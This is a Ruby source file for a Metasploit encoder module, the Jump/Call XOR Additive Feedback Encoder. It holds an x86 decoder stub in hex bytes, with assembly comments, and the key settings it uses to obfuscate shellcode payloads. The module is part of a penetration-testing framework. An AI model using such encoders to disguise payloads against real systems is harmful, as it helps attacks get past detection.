46 lines
1.4 KiB
Ruby
46 lines
1.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Encoder::XorAdditiveFeedback
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# Uncomment when we get the poly stuff working again.
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#Rank = GreatRanking
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def initialize
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super(
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'Name' => 'Jump/Call XOR Additive Feedback Encoder',
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'Description' => 'Jump/Call XOR Additive Feedback',
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'Author' => 'skape',
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'Arch' => ARCH_X86,
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'License' => MSF_LICENSE,
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'Decoder' =>
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{
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'Stub' =>
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"\xfc" + # cld
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"\xbbXORK" + # mov ebx, key
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"\xeb\x0c" + # jmp short 0x14
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"\x5e" + # pop esi
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"\x56" + # push esi
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"\x31\x1e" + # xor [esi], ebx
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"\xad" + # lodsd
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"\x01\xc3" + # add ebx, eax
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"\x85\xc0" + # test eax, eax
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"\x75\xf7" + # jnz 0xa
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"\xc3" + # ret
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"\xe8\xef\xff\xff\xff", # call 0x8
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'KeyOffset' => 2,
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'KeySize' => 4,
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'BlockSize' => 4,
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})
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end
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#
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# Append the termination block.
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#
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def encode_end(state)
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state.encoded += [ state.key ].pack(state.decoder_key_pack)
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end
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end
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